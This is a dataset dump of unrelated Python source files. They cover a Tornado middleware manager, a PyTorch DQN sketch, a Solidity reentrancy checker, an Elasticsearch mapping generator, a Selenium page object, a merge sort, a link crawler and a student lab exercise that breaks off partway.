+{"seq_id":"302369665","text":"\n\nfrom xai.brain.wordbase.nouns._grime import _GRIME\n\n#calss header\nclass _GRIMING(_GRIME, ):\n\tdef __init__(self,): \n\t\t_GRIME.__init__(self)\n\t\tself.name = \"GRIMING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"grime\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_griming.py","file_name":"_griming.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"204952634","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Created by mengqingyun on 14-5-22.\n\nfrom tornado.util import import_object\nfrom torngas.exception import BaseError\nfrom torngas.settings_manager import settings\nfrom torngas.middleware import BaseMiddleware\nimport sys\nimport copy\n\n\nclass MiddlewareManager():\n    def __init__(self):\n        self.init_middleware = []\n        self.request_middleware = []\n        self.response_middleware = []\n        self.exception_middleware = []\n        self.call_middleware = []\n        self.endcall_middleware = []\n        self.render_middleware = []\n        self.load_middleware()\n\n    def run_init_hooks(self, application):\n        self.__run_hooks('init', self.init_middleware, application)\n\n    def run_call_hooks(self, request):\n        BaseMiddleware._finish = False\n        self.__run_hooks('call', self.call_middleware, request)\n\n    def run_endcall_hooks(self, handler):\n        self.__run_hooks('endcall', self.endcall_middleware, handler)\n\n    def run_request_hooks(self, handler):\n        self.__run_hooks('request', self.request_middleware, handler)\n\n    def run_response_hooks(self, handler, chunk):\n        self.__run_hooks('response', self.response_middleware, handler, chunk=chunk)\n\n    def run_render_hooks(self, handler, template=None, **kwargs):\n        kwargs['template__'] = template\n        self.__run_hooks('render', self.render_middleware, handler, **kwargs)\n\n    def __run_hooks(self, types, middleware_classes, process_object, **kwargs):\n        if not BaseMiddleware._finish:\n            for middleware_class in middleware_classes:\n                if types == 'init':\n                    middleware_class.process_init(process_object)\n                try:\n                    if types == 'request':\n                        middleware_class.process_request(process_object)\n                    elif types == 'response':\n                        chunk = kwargs.get('chunk', None)\n                        middleware_class.process_response(process_object, chunk)\n\n                    elif types == 'call':\n                        middleware_class.process_call(process_object)\n\n                    elif types == 'endcall':\n                        middleware_class.process_endcall(process_object)\n\n                    elif types == 'render':\n                        kw = copy.copy(kwargs)\n                        template = kw.pop('template__', None)\n\n                        middleware_class.process_render(process_object, template, **kw)\n\n                except BaseException:\n                    middleware_class.process_exception(process_object, sys.exc_info())\n\n    def load_middleware(self):\n        if hasattr(settings, 'MIDDLEWARE_CLASSES') \\\n                and len(settings.MIDDLEWARE_CLASSES):\n            for midd_class in settings.MIDDLEWARE_CLASSES:\n                try:\n                    cls = import_object(midd_class)\n\n                except ImportError:\n                    raise\n\n                try:\n                    inst = cls()\n                    if not isinstance(inst, BaseMiddleware):\n                        raise BaseError(\n                            \"middleware '%s' must inherit from the BaseMiddleware\" % str(midd_class))\n                except Exception:\n                    raise\n                if hasattr(inst, 'process_init'):\n                    self.init_middleware.append(inst)\n\n                if hasattr(inst, 'process_request'):\n                    self.request_middleware.append(inst)\n\n                if hasattr(inst, 'process_response'):\n                    self.response_middleware.append(inst)\n\n                if hasattr(inst, 'process_call'):\n                    self.call_middleware.append(inst)\n\n                if hasattr(inst, 'process_endcall'):\n                    self.endcall_middleware.append(inst)\n\n                if hasattr(inst, 'process_render'):\n                    self.render_middleware.append(inst)\n\n        self.response_middleware.reverse()\n        self.endcall_middleware.reverse()\n","sub_path":"torngas/middleware/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"217863878","text":"import math\nimport random\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom collections import namedtuple\nfrom itertools import count\nfrom PIL import Image\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision.transforms as T\n\n# build Network\nclass Network(nn.module):\n    def __init__(self, n_state, n_hidden, n_action):\n        super(Network, self).__init__()\n        self.conv = nn.Conv2d(n_state, n_hidden, kernel_size=5, stride=1) # convolution\n        self.bn1 = nn.BatchNorm2d(n_hidden) # normalization\n        self.out = nn.Linear(n_hidden, n_action) # linearization\n\n    def forward(self, x):\n        x = F.relu(self.bn1(self.conv(x))) # use relu activation function\n        action_value = self.out(x.view(x.size(0), -1)) # change multiple dimensions to one dimension for linear regression\n        return action_value\n\n# build Double Q-Network\n# need two Network : evaluation_network & target_network\nclass DQN(object):\n    def __init__(self, n_state, n_hidden, n_action, batch_size, epsilon, gamma, target_replace_time, memory_capacity):\n        self.evaluation_net, target_net = Network(n_state, n_hidden, n_action), Network(n_state, n_hidden, n_action)\n\n        self.memory = np.zeros((memory_capacity, n_state * 2 + 2)) # experience in each memory = state + next_state + reward + action\n        self.optimizer = torch.optim.Adam(self.evaluation_net.parameters()) # torch.optim.Adam(model.parameters(), lr=0.01)\n        self.loss_function = nn.MSELoss()\n        self.memory_counter = 0\n        self.learn_step_counter = 0 # let target_network know when to update\n\n        self.n_stste = n_state\n        self.n_hidden = n_hidden\n        self.n_action = n_action\n        self.batch_size = batch_size\n        self.epsilon = epsilon\n        self.gamma = gamma\n        self.target_replace_time = target_replace_time\n        self.memory_capacity = memory_capacity\n\n    # epsilon-greedy policy\n    def choose_action(self, state):\n        x = torch.unsqueeze(torch.FloatTensor(state), 0)\n        # random choose one action\n        if np.random.uniform() < self.epsilon: # random choose one number from [0, 1)\n            action = np.random.randint(0, self.n_action) # random choose one integer from [0, n_action)\n        # according to current policy, choose the best action\n        else:\n            action_value = self.evaluation_net(x) # get score(action_value) for each action\n            action = torch.max(action_value, 1)[1].data.numpy()[0] # pick the action which score is the highest\n        return action\n\n    # sample from memory then learn\n    def learn(self):\n        # random choose batch_size experiences from memory_capacity\n        sample_index = np.random.choice(self.memory_capacity, self.batch_size)\n        batch_memory = self.memory[sample_index, :]\n        # definition\n        batch_state = torch.FloatTensor(batch_memory[:, :self.n_state])\n        batch_action = torch.LongTensor(batch_memory[:, self.n_state:self.n_state+1].astype(int))\n        batch_reward = torch.FloatTensor(batch_memory[:, self.n_state+1:self.n_state+2])\n        batch_next_state = torch.FloatTensor(batch_memory[:, -self.n_state:])\n        # calculate the Q-value difference between evaluation_net and target_net\n        q_evaluation = self.evaluation_net(batch_state).gather(1, batch_action)\n        q_next = self.target_net(batch_next_state).detach()\n        q_target = batch_reward + self.gamma * q_next.max(1)[0].view(self.batch_size, 1)\n        loss = self.loss_function(q_evaluation, q_target)\n        # Backpropagation\n        self.optimizer.zero_grad() # reset to aovid batch gradient accumulation\n        loss.backward()\n        self.optimizer.step()\n        # every target_replace_time update parameters of target_network by copy those of evaluation_network\n        self.learn_step_counter += 1\n        if self.learn_step_counter % self.target_replace_time == 0:\n            self.target_net.load_state_dict(self.evaluation_net.state_dict())\n\n\n\n","sub_path":"Q_network.py","file_name":"Q_network.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"397674675","text":"\nwarning = []\n\n# node: file node\ndef check_reentrancy(node):\n    # pp.pprint(file)\n    for contract in node[\"body\"]:\n        # find(node)\n        # check_low_level_func_return(contract)\n        state_var = find_state_var(contract)\n        # print(state_var)\n        for statement in contract[\"body\"]:\n            if statement[\"type\"] == \"FunctionDeclaration\":\n                check_func_reentrancy(statement, state_var)\n                # check_func_reentry(statement, state_var)\n    #     print(len(warning))\n    return warning\n\n\n# node: contract node\ndef find_state_var(node):\n    state_var = []\n    for statement in node[\"body\"]:\n        if statement[\"type\"] == \"StateVariableDeclaration\":\n            state_var.append(statement[\"name\"])\n    return state_var\n\n\n# DFS find all if-statement and return vars in conditions\n# def find_if_var(node, if_var):\n#     if node[\"type\"] == \"IfStatement\":\n#         if node[\"test\"][\"type\"] == \"BinaryExpression\":\n#             for side in [\"left\", \"right\"]:\n#                 if node[\"test\"][side][\"type\"] == \"Identifier\":\n#                     if node[\"test\"][side][\"name\"] not in if_var:\n#                         if_var[node[\"test\"][side][\"name\"]] = node[\"start\"]\n#                 elif node[\"test\"][side][\"type\"] == \"MemberExpression\":\n#                     if node[\"test\"][side][\"object\"][\"name\"] not in if_var:\n#                         if_var[node[\"test\"][side][\"object\"][\"name\"]] = node[\"start\"]\n#         elif node[\"test\"][\"type\"] == \"UnaryExpression\":\n#             pass\n#         if \"body\" in node[\"consequent\"]:\n#             for statement in node[\"consequent\"][\"body\"]:\n#                 find_if_var(statement, if_var)\n#     else:\n#         pass\n\n# Remain for test 20181007 start\n# find if statements of interaction part\ndef find_if_var(node, interact_var, state_var):\n    if node[\"test\"][\"type\"] == \"BinaryExpression\":\n        \"\"\"\n        To Be continue...\n        This is the check part of checks-effects-interactions\n        \"\"\"\n        pass\n    elif node[\"test\"][\"type\"] == \"UnaryExpression\" and node[\"test\"][\"operator\"] == \"!\":\n        if \"argument\" in node[\"test\"]:\n            find_require_stmt(node[\"test\"][\"argument\"], interact_var)\n    elif node[\"test\"][\"type\"] == \"CallExpression\":\n        find_require_stmt(node[\"test\"], interact_var)\n    if \"body\" in node[\"consequent\"]:\n        for statement in node[\"consequent\"][\"body\"]:\n            if statement[\"type\"] == \"IfStatement\":\n                find_if_var(statement, interact_var, state_var)\n            elif statement[\"type\"] == \"ExpressionStatement\":\n                find_require_var(statement, interact_var)\n            if len(interact_var) > 0:\n                check_effects(statement, interact_var, state_var)\n\n# find require statements of interaction part\ndef find_require_var(node, interact_var):\n    if \"callee\" in node[\"expression\"] and \"name\" in node[\"expression\"][\"callee\"]:\n        if node[\"expression\"][\"type\"] == \"CallExpression\" and node[\"expression\"][\"callee\"][\"name\"] == \"require\":\n            # print (node[\"expression\"][\"type\"] + node[\"expression\"][\"callee\"][\"name\"])\n            if \"arguments\" in node[\"expression\"]:\n                for args in node[\"expression\"][\"arguments\"]:\n                    find_require_stmt(args, interact_var)\n\n\ndef find_require_stmt(stmt, interact_var):\n    if stmt[\"type\"] == \"CallExpression\" and stmt[\"callee\"][\"type\"] == \"CallExpression\":\n        find_require_stmt(stmt[\"callee\"], interact_var)\n    elif stmt[\"type\"] == \"CallExpression\" and stmt[\"callee\"][\"type\"] == \"MemberExpression\":\n        if stmt[\"callee\"][\"property\"][\"name\"] == \"value\" and stmt[\"callee\"][\"object\"][\"property\"][\"name\"] == \"call\":\n            for arg in stmt[\"arguments\"]:\n                interact_arg = get_interact_args(arg)\n                # print(\"!!!!!!!!!interact_var: \" + interact_arg)\n                interact_var.append(interact_arg)\n        else:\n            pass\n    else:\n        pass\n\ndef get_interact_args(node):\n    if node[\"type\"] == \"Identifier\":\n        return node[\"name\"]\n    elif node[\"type\"] == \"Literal\":\n        return str(node[\"value\"])\n    elif node[\"type\"] == \"BinaryExpression\" and \"operator\" in node:\n        left = get_interact_args(node[\"left\"])\n        right = get_interact_args(node[\"right\"])\n        return str(left + node[\"operator\"] + right)\n    elif node[\"type\"] == \"MemberExpression\":\n        object = str(get_interact_args(node[\"object\"]))\n        property = str(get_interact_args(node[\"property\"]))\n        if object == \"msg\":\n            return str(object + \".\" + property)\n        else:\n            return str(object + \"[\" + property + \"]\")\n    else:\n        return None\n\n# Remain for test 20181007 end\n\n# def find_call(node, state_var, if_var, flag):\n#     try:\n#         if \"start\" in node:\n#             if not flag[0] and \"type\" in node and node[\"type\"] == \"CallExpression\":\n#                 flag[0] = True\n#             if flag[0]:\n#                 if \"expression\" in node and node[\"expression\"][\"type\"] == \"AssignmentExpression\":\n#                     if \"object\" in node[\"expression\"][\"left\"]:\n#                         name = node[\"expression\"][\"left\"][\"object\"][\"name\"]\n#                     else:\n#                         name = node[\"expression\"][\"left\"][\"name\"]\n#                     if name in state_var and name in if_var:\n#                         warning.append(Warning(if_var[name], node[\"end\"],\n#                                                \"Could potentially lead to re-entrancy vulnerability\\n\"\n#                                                \"http://solidity.readthedocs.io/en/develop/security-considerations.html#re-entrancy\"))\n#                         # print(\"Find re-entry at [\", if_var[name], node[\"end\"], \"]\")\n#         # Iterate through current node's children\n#         for _, value in node.items():\n#             if isinstance(value, list):\n#                 for obj in value:\n#                     find_call(obj, state_var, if_var, flag)\n#             else:\n#                 find_call(value, state_var, if_var, flag)\n#         pass\n#     except:\n#         pass\n\n\n# node: function node\n# def check_func_reentry(node, state_var):\n#     # array of all statements in the function\n#     if_var = {}\n#     for obj in node[\"body\"][\"body\"]:\n#         # find all if-statement: return set of vars\n#         find_if_var(obj, if_var)\n#     # find first call statement\n#     if len(if_var) == 0:\n#         return\n#     flag = [False]\n#     find_call(node, state_var, if_var, flag)\n#     # check statement after that, change set of vars or not\n\ndef check_func_reentrancy(node, state_var):\n    interactions = []\n    for obj in node[\"body\"][\"body\"]:\n        checks_effects_interactions(obj, interactions, state_var)\n\n\ndef checks_effects_interactions(node, interacts, state_var):\n    if node[\"type\"] == \"IfStatement\":\n        find_if_var(node, interacts, state_var)\n    elif node[\"type\"] == \"ExpressionStatement\":\n        find_require_var(node, interacts)\n        if len(interacts) > 0:\n            check_effects(node, interacts, state_var)\n\ndef check_effects(node, interacts, state_var):\n    if node[\"type\"] == \"ExpressionStatement\" and node[\"expression\"][\"type\"] == \"AssignmentExpression\":\n        if \"object\" in node[\"expression\"][\"left\"]:\n            left_effect_var = node[\"expression\"][\"left\"][\"object\"][\"name\"]\n        else:\n            left_effect_var = node[\"expression\"][\"left\"][\"name\"]\n        right_effect_var = get_interact_args(node[\"expression\"][\"right\"])\n        # print(\"??????left_effect_var: \" + str(left_effect_var))\n        # print(\"++++++right_effect_var:\" + str(right_effect_var))\n        if left_effect_var in state_var:\n            for i in interacts:\n                if i in right_effect_var:\n                    warning.append(i)\n    elif node[\"type\"] == \"IfStatement\" and \"body\" in node[\"consequent\"]:\n        for statement in node[\"consequent\"][\"body\"]:\n            check_effects(statement, interacts, state_var)\n    else:\n        pass\n\n\n\n# def check_low_level_func_return(node):\n#     if isinstance(node, list):\n#         for f in node:\n#             check_low_level_func_return(f)\n#         return\n#     elif isinstance(node, dict):\n#         if node[\"type\"] == \"IfStatement\":\n#             return\n#         if node[\"type\"] == \"Identifier\" and \"name\" in node and node[\"name\"] == \"call\":\n#             warning.append(Warning(node[\"start\"], node[\"end\"], \"Low-level call() result unchecked\\n\"\n#                                                                \"https://github.com/ConsenSys/smart-contract-best-practices#external-calls\"))\n#             # print(\"Find not check call() return value at [\", node[\"start\"], node[\"end\"], \"]\")\n#         else:\n#             for f in node:\n#                 check_low_level_func_return(node[f])\n\n\n# Check static error\n# def find(node):\n#     try:\n#         if \"start\" in node:\n#             start = node[\"start\"]\n#             end = node[\"end\"]\n#             if \"name\" in node:\n#                 name = node[\"name\"]\n#                 if name == \"sha3\":\n#                     warning.append(Warning(start, end, \"Use keccak256() instead of sha3()\\n\"\n#                                                        \"https://github.com/ethereum/EIPs/issues/59\"))\n#                     # print(\"Find sha3() at [\", start, end, \"], please change to keccak256()\")\n#                 elif name == \"send\":\n#                     warning.append(Warning(start, end, \"Use transfer() instead of send()\\n\"\n#                                                        \"http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses\"))\n#                     # print(\"Find send() at [\", start, end, \"], please change to transfer()\")\n#                 elif name == \"suicide\":\n#                     warning.append(Warning(start, end, \"Use selfdestruct() instead of suicide()\\n\"\n#                                                        \"https://github.com/ethereum/EIPs/blob/master/EIPS/eip-6.md\"))\n#                     # print(\"Find suicide() at [\", start, end, \"], please change to selfdestruct()\")\n#             if \"type\" in node and node[\"type\"] == \"ThrowStatement\":\n#                 warning.append(Warning(start, end, \"Use revert() instead of throw\\n\"\n#                                                    \"https://solidity.readthedocs.io/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions\"))\n#                 # print(\"Find throw at [\", start, end, \"], please change to revert()\")\n#         # Iterate through current node's children\n#         for _, value in node.items():\n#             if isinstance(value, list):\n#                 for obj in value:\n#                     find(obj)\n#             else:\n#                 find(value)\n#     except:\n#         pass\n","sub_path":"cobra/reentrancy.py","file_name":"reentrancy.py","file_ext":"py","file_size_in_byte":10748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"12214280","text":"#!/usr/bin/env python\n#\n# pip install pyjavaproperties\n#\nimport json\nimport os\n\nimport sys\nfrom pyjavaproperties import Properties\n\n\ndef main():\n    if len(sys.argv) == 1:\n        sys.exit('Usage: {0} <file.properties>'.format(sys.argv[0]))\n\n    if not os.path.exists(sys.argv[1]):\n        sys.exit('Error: {0} does not exist !'.format(sys.argv[1]))\n\n    p = Properties()\n    p.load(open(sys.argv[1]))\n\n    hex_sizes = p['hex.sizes'].split(';')\n    hex_sizes = [hs.split(',')[0] for hs in hex_sizes]\n    mappings = p['index.mapping'].split('/')[1]\n\n    properties = {}\n\n    fields = p['fields']\n    for field in fields.split(';'):\n        tokens = field.split(',')\n        if tokens[0] == 'geo':\n            name = tokens[1]\n            properties[name] = {\"type\": \"geo_point\"}\n            properties[name + \"_xm\"] = {\"type\": \"float\", \"index\": \"no\"}\n            properties[name + \"_ym\"] = {\"type\": \"float\", \"index\": \"no\"}\n            for hs in hex_sizes:\n                properties[name + \"_\" + hs] = {\"type\": \"keyword\"}\n        elif tokens[0] == 'grid':\n            name = tokens[1]\n            properties[name] = {\"type\": \"geo_point\"}\n            properties[name + \"_xm\"] = {\"type\": \"float\", \"index\": \"no\"}\n            properties[name + \"_ym\"] = {\"type\": \"float\", \"index\": \"no\"}\n            properties[name + \"_g\"] = {\"type\": \"keyword\"}\n        elif tokens[0] == 'int':\n            properties[tokens[1]] = {\"type\": \"integer\"}\n        elif tokens[0] == 'long':\n            properties[tokens[1]] = {\"type\": \"long\"}\n        elif tokens[0] == 'float':\n            properties[tokens[1]] = {\"type\": \"float\"}\n        elif tokens[0] == 'double':\n            properties[tokens[1]] = {\"type\": \"float\"}\n        elif tokens[0] == 'date' or tokens[0] == 'date-time':\n            name = tokens[1]\n            date_format = tokens[3] if len(tokens) == 4 else \"YYYY-MM-dd HH:mm:ss\"\n            properties[name] = {\"type\": \"date\", \"format\": date_format}\n            properties[name + \"_yy\"] = {\"type\": \"integer\"}\n            properties[name + \"_mm\"] = {\"type\": \"integer\"}\n            properties[name + \"_dd\"] = {\"type\": \"integer\"}\n            properties[name + \"_hh\"] = {\"type\": \"integer\"}\n            properties[name + \"_dow\"] = {\"type\": \"integer\"}\n        elif tokens[0] == 'date-iso':\n            name = tokens[1]\n            date_format = tokens[3] if len(tokens) == 4 else \"date_optional_time\"\n            properties[name] = {\"type\": \"date\", \"format\": date_format}\n            properties[name + \"_yy\"] = {\"type\": \"integer\"}\n            properties[name + \"_mm\"] = {\"type\": \"integer\"}\n            properties[name + \"_dd\"] = {\"type\": \"integer\"}\n            properties[name + \"_hh\"] = {\"type\": \"integer\"}\n            properties[name + \"_dow\"] = {\"type\": \"integer\"}\n        elif tokens[0] == 'date-only':\n            name = tokens[1]\n            date_format = tokens[3] if len(tokens) == 4 else \"YYYY-MM-dd HH:mm:ss\"\n            properties[name] = {\"type\": \"date\", \"format\": date_format}\n        else:\n            name = tokens[1]\n            properties[name] = {\"type\": \"keyword\"}\n\n    doc = {\n        \"settings\": {\n            \"number_of_shards\": 1,\n            \"number_of_replicas\": 0,\n            \"refresh_interval\": \"-1\"\n        },\n        \"mappings\": {mappings: {\n            \"_all\": {\n                \"enabled\": False\n            },\n            \"_source\": {\n                \"enabled\": True\n            },\n            \"properties\": properties\n        }}\n    }\n\n    basename, extension = os.path.splitext(sys.argv[1])\n    with open(basename + \".json\", \"wb\") as fw:\n        fw.write(json.dumps(doc, ensure_ascii=False, indent=2))\n\n    base = os.path.basename(sys.argv[1])\n    name = os.path.splitext(base)[0]\n    print(\"PUT Example: curl -XPUT localhost:9200/{0}?pretty -d @{1}.json\".format(name.lower(), basename))\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"src/main/python/gen-mapping-5.py","file_name":"gen-mapping-5.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"599695599","text":"from Pages.ContentPages.BasePage import Page\nfrom selenium.webdriver.common.by import By\nimport time, pytest\nfrom magic_box.find_elements import find_element\nfrom selenium.webdriver.support.ui import Select\n\n\nclass SolutionPage(Page):\n    def __init__(self, driver):\n        self.driver = driver\n        super().__init__(driver)\n        self.locators = {\n            'market_type': {'by': By.XPATH, 'value': '//select[@id=\"edit-field-market\"]'},\n            'activity': {'by': By.XPATH, 'value': '//select[@id=\"edit-field-activity\"]'},\n            'customer_issue': {'by': By.XPATH, 'value': '//select[@id=\"edit-field-customer-issue\"]'},\n            'category': {'by': By.XPATH, 'value': '//select[@id=\"edit-field-category\"]'},\n        }\n        microtime = int(round(time.time() * 1000))\n        self.solution_test_data = {\n            'title': 'Page Solution title {}'.format(microtime),\n            'market_type': '1',\n            'activity': '1',\n            'customer_issue': '1',\n            'category': '1',\n        }\n\n    def get_market_type(self):\n        return Select(find_element(self.driver, **self.locators['market_type']))\n\n    def get_activity(self):\n        return Select(find_element(self.driver, **self.locators['activity']))\n\n    def get_customer_issue(self):\n        return Select(find_element(self.driver, **self.locators['customer_issue']))\n\n    def get_category(self):\n        return Select(find_element(self.driver, **self.locators['category']))\n\n    @pytest.allure.step('Set Solution CT filters')\n    def fill_solution_filters(self):\n        self.get_market_type().select_by_index(self.solution_test_data['market_type'])\n        self.get_activity().select_by_index(self.solution_test_data['activity'])\n        self.get_customer_issue().select_by_index(self.solution_test_data['customer_issue'])\n        self.get_category().select_by_index(self.solution_test_data['category'])\n\n    @pytest.allure.step('Fill Solution CT mandatory fields')\n    def fill_solution_page_mandatory(self, title=None):\n        if title:\n            self.get_title().send_keys(title)\n        else:\n            self.get_title().send_keys(self.solution_test_data['title'])\n\n","sub_path":"Pages/ContentPages/SolutionPage.py","file_name":"SolutionPage.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"357305474","text":"import random\n\n\ndef merge_sort(arr):\n    aux = [None for i in range(len(arr))]\n    helper(arr, aux, 0, len(arr) - 1)\n\n\ndef helper(arr, aux, lo, hi):\n    if hi <= lo:\n        return\n    mid_idx = lo + ((hi - lo) // 2)\n    helper(arr, aux, lo, mid_idx)\n    helper(arr, aux, mid_idx + 1, hi)\n    merge(arr, aux, lo, hi, mid_idx)\n\n\ndef merge(arr, aux, lo, hi, mid_idx):\n    for i in range(lo, hi + 1):\n        aux[i] = arr[i]\n\n    i = lo\n    j = mid_idx + 1\n    for k in range(lo, hi+1):\n        if i > mid_idx:\n            arr[k] = aux[j]\n            j += 1\n        elif j > hi:\n            arr[k] = aux[i]\n            i += 1\n        elif aux[i] < aux[j]:\n            arr[k] = aux[i]\n            i += 1\n        else:\n            arr[k] = aux[j]\n            j += 1\n\n\nif __name__ == \"__main__\":\n    test = [random.randint(0, 100) for i in range(20)]\n    merge_sort(test)\n    print(test)\n","sub_path":"google_interview/sorting/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"393547944","text":"# -*- coding: utf-8 -*-\nfrom urllib.request import urlopen\nfrom urllib.parse import urlparse\nfrom bs4 import BeautifulSoup\nimport re\n\nallExtLinks = set()\nallIntLinks = set()\n\ndef getInternalLinks(bsObj,includeUrl):\n\tincludeUrl = urlparse(includeUrl).scheme+\"://\"+urlparse(includeUrl).netloc\n\tinternalLinks = []\n\n\tfor link in bsObj.findAll(\"a\", href=re.compile(\"^(/|.*\"+includeUrl+\")\")):\n\t\tif link.attrs['href'] is not None:\n\t\t\tif link.attrs['href'] not in internalLinks:\n\t\t\t\tif (link.attrs['href'].startswith('/')):\n\t\t\t\t\tinternalLinks.append(includeUrl+link.attrs['href'])\n\t\t\t\telse:\n\t\t\t\t\tinternalLinks.append(link.attrs['href'])\n\t\t\t\t\n\treturn internalLinks\n\ndef getExternalLinks(bsObj,excludeUrl):\n\texternalLinks = []#声明一个列表\n\tfor link in bsObj.findAll(\"a\",href=re.compile(\"^(http|www)((?!\"+excludeUrl+\").)*$\")):\n\t\tif link.attrs['href'] is not None:\n\t\t\tif link.attrs['href'] not in externalLinks:\n\t\t\t\texternalLinks.append(link.attrs['href'])\n\treturn externalLinks\n\ndef getAllExtLinks(siteUrl):\n\thtml = urlopen(siteUrl)\n\tbsObj = BeautifulSoup(html,\"html.parser\")\n\tdomain = urlparse(siteUrl).scheme+\"://\"+urlparse(siteUrl).netloc\n\texternalLinks = getExternalLinks(bsObj,domain)\n\tfor link in externalLinks:\n\t\tif link not in allExtLinks:\n\t\t\tprint (link)\n\t\t\tallExtLinks.add(link)\n\tinternalLinks = getInternalLinks(bsObj,domain)\n\tfor link in internalLinks:\n\t\tif link not in allIntLinks:\n\t\t\tallIntLinks.add(link)#必须先添加，后访问，如果先访问，遇到同一个link，无法查重\n\t\t\tgetAllExtLinks(link)\n\nallIntLinks.add(\"http://oreilly.com\")#即将要处理\ngetAllExtLinks(\"http://oreilly.com\")\n\n\n\t\n\n\n","sub_path":"chapter3/5-getAllExternalLinks.py","file_name":"5-getAllExternalLinks.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"183522578","text":"# Karthik Jagadeesan 72796420 and Hieu Dao-Tran 24353293.  ICS 31 Lab sec 5.  Lab asst 8.\n\nprint('c--------------------')\nprint()\nprint('c1-------------------')\nprint()\ndef read_menu_with_count(s : str)-> list:\n    '''Returns list of Dish in data structure'''\n    infile1 = open(s, 'r')\n    mlist = []\n    for l in infile1:\n        newline = l.replace('\\n', '')\n        mlist.append(newline.split('\\t'))\n    return mlist\n        \nprint(read_menu_with_count('menu1.txt'))\nprint()\nprint('c2-------------------')\nprint()\n\ndef read_menu(s:str)-> list:\n    '''Returns list of Dish in data structure'''\n    return read_menu_with_count(s)\nprint(read_menu('menu2.txt'))\nprint()\nprint('c3-------------------')\nprint()\n\nfrom collections import namedtuple\nDish = namedtuple('Dish', 'name price calories')\nDish_list = [Dish('pizza', '98', '863'), Dish('bigmac ','87', '989'), Dish('bigk', '97' ,'0909') ]\n\ndef write_menu(Dish_list: list, s : str):\n    '''Writes a txt document of dishes in  list'''\n    infile1 = open(s,'w')\n    for Dish in Dish_list: \n        infile1.write(str(Dish) + '\\n')\n    \nprint(write_menu(Dish_list, 'menu789.txt'))\nprint()\nprint('------d--------')\nprint()\nprint('d1---------------')\nprint()\nCourse = namedtuple('Course', 'dept num title instr units')\n# Each field is a string except the number of units\nics31 = Course('ICS', '31', 'Intro to Programming', 'Kay', 4.0)\nics32 = Course('ICS', '32', 'Programming with Libraries', 'Thornton', 4.0)\nwr39a = Course('Writing', '39A', 'Intro Composition', 'Alexander', 4.0)\nwr39b = Course('Writing', '39B', 'Intermediate Composition', 'Gross', 4.0)\nbio97 = Course('Biology', '97', 'Genetics', 'Smith', 4.0)\nmgt1  = Course('Management', '1', 'Intro to Management', 'Jones', 2.0)\n\nStudent = namedtuple('Student', 'ID name level major studylist')\n# All are strings except studylist, which is a list of Courses.\nsW = Student('11223344', 'Anteater, Peter', 'FR', 'PSB', [ics31, wr39a, bio97, mgt1])\nsX = Student('21223344', 'Anteater, Andrea', 'SO', 'CS', [ics31, wr39b, bio97, mgt1])\nsY = Student('31223344', 'Programmer, Paul', 'FR', 'COG SCI', [ics32, wr39a, bio97])\nsZ = Student('41223344', 'Programmer, Patsy', 'SR', 'PSB', [ics32, mgt1])\n  \nStudentBody = [sW, sX, sY, sZ]\nSL = ['ics31','ics32','wr39a']\n\n\ndef Students_at_level(l : list, level : str)->  list:\n    '''Returns a list of students with the same level as parameter'''\n    slist = []\n    for s in l:\n        if s.level == level:\n            slist.append(s)\n    return slist\nprint(Students_at_level(StudentBody, 'SO'))\nprint()\n\n\nprint('d2----------------')\nprint()\n\nclist = ['ICS', 'PSB']\n\ndef Students_in_majors(l : list, c : list)-> list:\n    '''Returns a list of students in the same major from specifed list'''\n    slist = []\n    for s in l:\n        if s.major in c:\n            slist.append(s)\n    return slist\nprint(Students_in_majors(StudentBody,clist))\n\n\nprint('d3-----------------')\ndef Course_equals(c1: Course, c2: Course) -> bool:\n    ''' Return True if the department and number of c1 match the department and\n\t     number of c2 (and False otherwise)\n    '''\n    if c1.dept == c2.dept:\n        if c1. num == c2.num:\n            return True\n    return False\nassert Course_equals(ics31, ics31) == True\nprint(Course_equals(ics31, ics31))\nprint()\n\ndef Course_on_studylist(c: Course, SL: 'list of Course') -> bool:\n    ''' Return True if the course c equals any course on the list SL (where equality\n\t     means matching department name and course number) and False otherwise.\n    '''\n    if c in SL:\n        return True\n    return False\nassert Course_on_studylist(ics31, SL) == False\nprint(Course_on_studylist(ics32, SL))\nprint()\n\ndef Student_is_enrolled(S: Student, department: str, coursenum: str) -> bool:\n    ''' Return True if the course (department and course number) is on the student's\n\t     studylist (and False otherwise)\n    '''\n    for x in S.studylist:\n        if department == x.dept:\n            if coursenum == x.num:\n                return True\n    return False\nassert Student_is_enrolled(sW, 'ICS', '31') == True\nprint(Student_is_enrolled(sW, 'Writing', '39B'))\nprint()\n\ndef Students_in_class(l: list, dname: str, cnum: str) -> list:\n    '''Returns a list of students who is enrolled in the specified class'''\n    result = []\n    for x in l:\n        if Student_is_enrolled(x, dname, cnum) == True:\n            result.append(x)\n    return result\nprint(Students_in_class(StudentBody, 'ICS', '31'))\nprint()\nprint('d4-----------------')\nprint()\ndef Student_names(l: list) -> list:\n    